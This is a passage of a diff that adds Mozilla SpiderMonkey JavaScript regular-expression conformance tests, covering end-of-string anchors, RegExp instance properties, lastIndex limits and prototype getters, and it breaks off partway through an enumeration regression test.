+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(125);
+pattern = /aa\z/;
+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(126);
+pattern = /aa$/;
+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(127);
+pattern = /aa\Z/m;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(128);
+pattern = /aa\z/m;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(129);
+pattern = /aa$/m;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(130);
+pattern = /aa\Z/m;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(131);
+pattern = /aa\z/m;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(132);
+pattern = /aa$/m;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(133);
+pattern = /aa\Z/m;
+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(134);
+pattern = /aa\z/m;
+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(135);
+pattern = /aa$/m;
+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(136);
+pattern = /aa\Z/;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(137);
+pattern = /aa\z/;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(138);
+pattern = /aa$/;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(139);
+pattern = /aa\Z/;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(140);
+pattern = /aa\z/;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(141);
+pattern = /aa$/;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(142);
+pattern = /aa\Z/;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(143);
+pattern = /aa\z/;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(144);
+pattern = /aa$/;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(145);
+pattern = /aa\Z/m;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(146);
+pattern = /aa\z/m;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(147);
+pattern = /aa$/m;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(148);
+pattern = /aa\Z/m;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(149);
+pattern = /aa\z/m;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(150);
+pattern = /aa$/m;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(151);
+pattern = /aa\Z/m;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(152);
+pattern = /aa\z/m;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(153);
+pattern = /aa$/m;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(154);
+pattern = /ab\Z/;
+string = 'ab\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(155);
+pattern = /ab\z/;
+string = 'ab\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(156);
+pattern = /ab$/;
+string = 'ab\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(157);
+pattern = /ab\z/;
+string = 'b\nab\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(158);
+pattern = /ab\z/m;
+string = 'ab\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(159);
+pattern = /ab\z/m;
+string = 'b\nab\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(160);
+pattern = /ab\Z/;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(161);
+pattern = /ab\z/;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(162);
+pattern = /ab$/;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(163);
+pattern = /ab\Z/;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(164);
+pattern = /ab\z/;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(165);
+pattern = /ab$/;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(166);
+pattern = /ab\Z/;
+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(167);
+pattern = /ab\z/;
+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(168);
+pattern = /ab$/;
+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(169);
+pattern = /ab\Z/m;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(170);
+pattern = /ab\z/m;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(171);
+pattern = /ab$/m;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(172);
+pattern = /ab\Z/m;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(173);
+pattern = /ab\z/m;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(174);
+pattern = /ab$/m;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(175);
+pattern = /ab\Z/m;
+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(176);
+pattern = /ab\z/m;
+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(177);
+pattern = /ab$/m;
+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(178);
+pattern = /ab\Z/;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(179);
+pattern = /ab\z/;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(180);
+pattern = /ab$/;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(181);
+pattern = /ab\Z/;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(182);
+pattern = /ab\z/;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(183);
+pattern = /ab$/;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(184);
+pattern = /ab\Z/;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(185);
+pattern = /ab\z/;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(186);
+pattern = /ab$/;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(187);
+pattern = /ab\Z/m;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(188);
+pattern = /ab\z/m;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(189);
+pattern = /ab$/m;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(190);
+pattern = /ab\Z/m;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(191);
+pattern = /ab\z/m;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(192);
+pattern = /ab$/m;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(193);
+pattern = /ab\Z/m;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(194);
+pattern = /ab\z/m;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(195);
+pattern = /ab$/m;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(196);
+pattern = /abb\Z/;
+string = 'abb\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(197);
+pattern = /abb\z/;
+string = 'abb\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(198);
+pattern = /abb$/;
+string = 'abb\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(199);
+pattern = /abb\z/;
+string = 'b\nabb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(200);
+pattern = /abb\z/m;
+string = 'abb\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(201);
+pattern = /abb\z/m;
+string = 'b\nabb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(202);
+pattern = /abb\Z/;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(203);
+pattern = /abb\z/;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(204);
+pattern = /abb$/;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(205);
+pattern = /abb\Z/;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(206);
+pattern = /abb\z/;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(207);
+pattern = /abb$/;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(208);
+pattern = /abb\Z/;
+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(209);
+pattern = /abb\z/;
+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(210);
+pattern = /abb$/;
+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(211);
+pattern = /abb\Z/m;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(212);
+pattern = /abb\z/m;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(213);
+pattern = /abb$/m;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(214);
+pattern = /abb\Z/m;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(215);
+pattern = /abb\z/m;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(216);
+pattern = /abb$/m;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(217);
+pattern = /abb\Z/m;
+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(218);
+pattern = /abb\z/m;
+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(219);
+pattern = /abb$/m;
+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(220);
+pattern = /abb\Z/;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(221);
+pattern = /abb\z/;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(222);
+pattern = /abb$/;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(223);
+pattern = /abb\Z/;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(224);
+pattern = /abb\z/;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(225);
+pattern = /abb$/;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(226);
+pattern = /abb\Z/;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(227);
+pattern = /abb\z/;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(228);
+pattern = /abb$/;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(229);
+pattern = /abb\Z/m;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(230);
+pattern = /abb\z/m;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(231);
+pattern = /abb$/m;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(232);
+pattern = /abb\Z/m;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(233);
+pattern = /abb\z/m;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(234);
+pattern = /abb$/m;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(235);
+pattern = /abb\Z/m;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(236);
+pattern = /abb\z/m;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(237);
+pattern = /abb$/m;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(238);
+pattern = /a*abc?xyz+pqr{3}ab{2,}xy{4,5}pq{0,6}AB{0,}zz/;
+string = 'x';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(239);
+pattern = /\GX.*X/;
+string = 'aaaXbX';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(240);
+pattern = /\.c(pp|xx|c)?$/i;
+string = 'Changes';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(241);
+pattern = /^([a-z]:)/;
+string = 'C:/';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(242);
+pattern = /(\w)?(abc)\1b/;
+string = 'abcab';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+/* ECMA doesn't support (?(
+ status = inSection(243);
+ pattern = /^(a)?(?(1)a|b)+$/;
+ string = 'a';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+*/
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ if(omitCurrentSection())
+ return;
+
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function omitCurrentSection()
+{
+ try
+ {
+ // current section number is in global status variable
+ var n = status.match(/(\d+)/)[1];
+ return ((n < cnLBOUND) || (n > cnUBOUND));
+ }
+ catch(e)
+ {
+ return false;
+ }
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+}
diff --git a/js/src/tests/non262/RegExp/properties-001.js b/js/src/tests/non262/RegExp/properties-001.js
new file mode 100644
index 0000000000..b9cb65e959
--- /dev/null
+++ b/js/src/tests/non262/RegExp/properties-001.js
@@ -0,0 +1,87 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: RegExp/properties-001.js
+ * ECMA Section: 15.7.6.js
+ * Description: Based on ECMA 2 Draft 7 February 1999
+ *
+ * Author: christine@netscape.com
+ * Date: 19 February 1999
+ */
+var SECTION = "RegExp/properties-001.js";
+var TITLE = "Properties of RegExp Instances";
+
+AddRegExpCases( new RegExp, "(?:)", false, false, false, 0 );
+AddRegExpCases( /.*/, ".*", false, false, false, 0 );
+AddRegExpCases( /[\d]{5}/g, "[\\d]{5}", true, false, false, 0 );
+AddRegExpCases( /[\S]?$/i, "[\\S]?$", false, true, false, 0 );
+AddRegExpCases( /^([a-z]*)[^\w\s\f\n\r]+/m, "^([a-z]*)[^\\w\\s\\f\\n\\r]+", false, false, true, 0 );
+AddRegExpCases( /[\D]{1,5}[\ -][\d]/gi, "[\\D]{1,5}[\\ -][\\d]", true, true, false, 0 );
+AddRegExpCases( /[a-zA-Z0-9]*/gm, "[a-zA-Z0-9]*", true, false, true, 0 );
+AddRegExpCases( /x|y|z/gim, "x|y|z", true, true, true, 0 );
+
+AddRegExpCases( /\u0051/im, "\\u0051", false, true, true, 0 );
+AddRegExpCases( /\x45/gm, "\\x45", true, false, true, 0 );
+AddRegExpCases( /\097/gi, "\\097", true, true, false, 0 );
+
+test();
+
+function AddRegExpCases( re, s, g, i, m, l ) {
+
+ AddTestCase( re + ".test == RegExp.prototype.test",
+ true,
+ re.test == RegExp.prototype.test );
+
+ AddTestCase( re + ".toString == RegExp.prototype.toString",
+ true,
+ re.toString == RegExp.prototype.toString );
+
+ AddTestCase( re + ".contructor == RegExp.prototype.constructor",
+ true,
+ re.constructor == RegExp.prototype.constructor );
+
+ AddTestCase( re + ".compile == RegExp.prototype.compile",
+ true,
+ re.compile == RegExp.prototype.compile );
+
+ AddTestCase( re + ".exec == RegExp.prototype.exec",
+ true,
+ re.exec == RegExp.prototype.exec );
+
+ // properties
+
+ AddTestCase( re + ".source",
+ s,
+ re.source );
+
+/*
+ * http://bugzilla.mozilla.org/show_bug.cgi?id=225550 changed
+ * the behavior of toString() and toSource() on empty regexps.
+ * So branch if |s| is the empty string -
+ */
+ var S = s? s : '(?:)';
+
+ AddTestCase( re + ".toString()",
+ "/" + S +"/" + (g?"g":"") + (i?"i":"") +(m?"m":""),
+ re.toString() );
+
+ AddTestCase( re + ".global",
+ g,
+ re.global );
+
+ AddTestCase( re + ".ignoreCase",
+ i,
+ re.ignoreCase );
+
+ AddTestCase( re + ".multiline",
+ m,
+ re.multiline);
+
+ AddTestCase( re + ".lastIndex",
+ l,
+ re.lastIndex );
+}
diff --git a/js/src/tests/non262/RegExp/properties-002.js b/js/src/tests/non262/RegExp/properties-002.js
new file mode 100644
index 0000000000..596dce522e
--- /dev/null
+++ b/js/src/tests/non262/RegExp/properties-002.js
@@ -0,0 +1,128 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: RegExp/properties-002.js
+ * ECMA Section: 15.7.6.js
+ * Description: Based on ECMA 2 Draft 7 February 1999
+ *
+ * Author: christine@netscape.com
+ * Date: 19 February 1999
+ */
+//-----------------------------------------------------------------------------
+var SECTION = "RegExp/properties-002.js";
+var TITLE = "Properties of RegExp Instances";
+var BUGNUMBER ="124339";
+
+printBugNumber(BUGNUMBER);
+
+re_1 = /\cA?/g;
+re_1.lastIndex = Math.pow(2,31);
+AddRegExpCases( re_1, "\\cA?", true, false, false, Math.pow(2,31) );
+
+re_2 = /\w*/i;
+re_2.lastIndex = Math.pow(2,32) -1;
+AddRegExpCases( re_2, "\\w*", false, true, false, Math.pow(2,32)-1 );
+
+re_3 = /\*{0,80}/m;
+re_3.lastIndex = Math.pow(2,31) -1;
+AddRegExpCases( re_3, "\\*{0,80}", false, false, true, Math.pow(2,31) -1 );
+
+re_4 = /^./gim;
+re_4.lastIndex = Math.pow(2,30) -1;
+AddRegExpCases( re_4, "^.", true, true, true, Math.pow(2,30) -1 );
+
+re_5 = /\B/;
+re_5.lastIndex = Math.pow(2,30);
+AddRegExpCases( re_5, "\\B", false, false, false, Math.pow(2,30) );
+
+/*
+ * Brendan: "need to test cases Math.pow(2,32) and greater to see
+ * whether they round-trip." Reason: thanks to the work done in
+ * http://bugzilla.mozilla.org/show_bug.cgi?id=124339, lastIndex
+ * is now stored as a double instead of a uint32_t (unsigned integer).
+ *
+ * Note 2^32 -1 is the upper bound for uint32's, but doubles can go
+ * all the way up to Number.MAX_VALUE. So that's why we need cases
+ * between those two numbers.
+ *
+ */
+re_6 = /\B/;
+re_6.lastIndex = Math.pow(2,32);
+AddRegExpCases( re_6, "\\B", false, false, false, Math.pow(2,32) );
+
+re_7 = /\B/;
+re_7.lastIndex = Math.pow(2,32) + 1;
+AddRegExpCases( re_7, "\\B", false, false, false, Math.pow(2,32) + 1 );
+
+re_8 = /\B/;
+re_8.lastIndex = Math.pow(2,32) * 2;
+AddRegExpCases( re_8, "\\B", false, false, false, Math.pow(2,32) * 2 );
+
+re_9 = /\B/;
+re_9.lastIndex = Math.pow(2,40);
+AddRegExpCases( re_9, "\\B", false, false, false, Math.pow(2,40) );
+
+re_10 = /\B/;
+re_10.lastIndex = Number.MAX_VALUE;
+AddRegExpCases( re_10, "\\B", false, false, false, Number.MAX_VALUE );
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function AddRegExpCases( re, s, g, i, m, l ){
+
+ AddTestCase( re + ".test == RegExp.prototype.test",
+ true,
+ re.test == RegExp.prototype.test );
+
+ AddTestCase( re + ".toString == RegExp.prototype.toString",
+ true,
+ re.toString == RegExp.prototype.toString );
+
+ AddTestCase( re + ".contructor == RegExp.prototype.constructor",
+ true,
+ re.constructor == RegExp.prototype.constructor );
+
+ AddTestCase( re + ".compile == RegExp.prototype.compile",
+ true,
+ re.compile == RegExp.prototype.compile );
+
+ AddTestCase( re + ".exec == RegExp.prototype.exec",
+ true,
+ re.exec == RegExp.prototype.exec );
+
+ // properties
+
+ AddTestCase( re + ".source",
+ s,
+ re.source );
+
+ AddTestCase( re + ".toString()",
+ "/" + s +"/" + (g?"g":"") + (i?"i":"") +(m?"m":""),
+ re.toString() );
+
+ AddTestCase( re + ".global",
+ g,
+ re.global );
+
+ AddTestCase( re + ".ignoreCase",
+ i,
+ re.ignoreCase );
+
+ AddTestCase( re + ".multiline",
+ m,
+ re.multiline);
+
+ AddTestCase( re + ".lastIndex",
+ l,
+ re.lastIndex );
+}
diff --git a/js/src/tests/non262/RegExp/prototype-different-global.js b/js/src/tests/non262/RegExp/prototype-different-global.js
new file mode 100644
index 0000000000..34fc5ee8a1
--- /dev/null
+++ b/js/src/tests/non262/RegExp/prototype-different-global.js
@@ -0,0 +1,28 @@
+function test(otherGlobal) {
+ var otherRegExp = otherGlobal.RegExp;
+
+ for (let name of ["global", "ignoreCase", "multiline", "sticky", "unicode", "source"]) {
+ let getter = Object.getOwnPropertyDescriptor(RegExp.prototype, name).get;
+ assertEq(typeof getter, "function");
+
+ // Note: TypeError gets reported from wrong global if cross-compartment,
+ // so we test both cases.
+ let ex;
+ try {
+ getter.call(otherRegExp.prototype);
+ } catch (e) {
+ ex = e;
+ }
+ assertEq(ex instanceof TypeError || ex instanceof otherGlobal.TypeError, true);
+ }
+
+ let flagsGetter = Object.getOwnPropertyDescriptor(RegExp.prototype, "flags").get;
+ assertEq(flagsGetter.call(otherRegExp.prototype), "");
+
+ assertEq(RegExp.prototype.toString.call(otherRegExp.prototype), "/(?:)/");
+}
+test(newGlobal());
+test(newGlobal({newCompartment: true}));
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/RegExp/prototype.js b/js/src/tests/non262/RegExp/prototype.js
new file mode 100644
index 0000000000..d23336fcd5
--- /dev/null
+++ b/js/src/tests/non262/RegExp/prototype.js
@@ -0,0 +1,37 @@
+const t = RegExp.prototype;
+
+let properties = "toString,compile,exec,test," +
+ "flags,dotAll,global,hasIndices,ignoreCase,multiline,source,sticky,unicode," +
+ "constructor," +
+ "Symbol(Symbol.match),Symbol(Symbol.replace),Symbol(Symbol.search),Symbol(Symbol.split)";
+if (Object.prototype.toSource) {
+ properties = "toSource," + properties;
+}
+if (Symbol.matchAll) {
+ properties += ",Symbol(Symbol.matchAll)";
+}
+assertEqArray(Reflect.ownKeys(t).map(String).sort(), properties.split(",").sort());
+
+
+// Invoking getters on the prototype should not throw
+function getter(name) {
+ return Object.getOwnPropertyDescriptor(t, name).get.call(t);
+}
+
+assertEq(getter("flags"), "");
+assertEq(getter("global"), undefined);
+assertEq(getter("ignoreCase"), undefined);
+assertEq(getter("multiline"), undefined);
+assertEq(getter("source"), "(?:)");
+assertEq(getter("sticky"), undefined);
+assertEq(getter("unicode"), undefined);
+
+assertEq(t.toString(), "/(?:)/");
+
+// The methods don't work with the prototype
+assertThrowsInstanceOf(() => t.compile("b", "i"), TypeError);
+assertThrowsInstanceOf(() => t.test("x"), TypeError);
+assertThrowsInstanceOf(() => t.exec("x"), TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/RegExp/regexp-enumerate-001.js b/js/src/tests/non262/RegExp/regexp-enumerate-001.js
new file mode 100644
index 0000000000..a12bd4589a
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regexp-enumerate-001.js
@@ -0,0 +1,79 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: regexp-enumerate-001.js
+ ECMA V2 Section:
+ Description: Regression Test.
+
+ If instance Native Object have properties that are enumerable,
+ JavaScript enumerated through the properties twice. This only
+ happened if objects had been instantiated, but their properties
+ had not been enumerated. ie, the object inherited properties
+ from its prototype that are enumerated.
+
+ In the core JavaScript, this is only a problem with RegExp
+ objects, since the inherited properties of most core JavaScript
+ objects are not enumerated.
+
+ Author: christine@netscape.com, pschwartau@netscape.com
+ Date: 12 November 1997
+ Modified: 14 July 2002
+ Reason: See http://bugzilla.mozilla.org/show_bug.cgi?id=155291
+ ECMA-262 Ed.3 Sections 15.10.7.1 through 15.10.7.5
+ RegExp properties should be DontEnum
+ *
+ */
+// onerror = err;
+
+var SECTION = "regexp-enumerate-001";
+var TITLE = "Regression Test for Enumerating Properties";
+
+var BUGNUMBER="339403";
+
+printBugNumber(BUGNUMBER);
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+/*
+ * This test expects RegExp instances to have four enumerated properties:
+ * source, global, ignoreCase, and lastIndex
+ *
+ * 99.01.25: now they also have a multiLine instance property.
+ *
+ */
+
+
+var r = new RegExp();
+
+var e = new Array();
+
+var t = new TestRegExp();
+
+for ( p in r ) { e[e.length] = { property:p, value:r[p] }; t.addProperty( p, r[p]) };
+
+new TestCase( "r = new RegExp(); e = new Array(); "+
+ "for ( p in r ) { e[e.length] = { property:p, value:r[p] }; e.length",
+ 0,
+ e.length );
+
+test();
+
+function TestRegExp() {
+ this.addProperty = addProperty;
+}
+function addProperty(name, value) {
+ var pass = false;
+
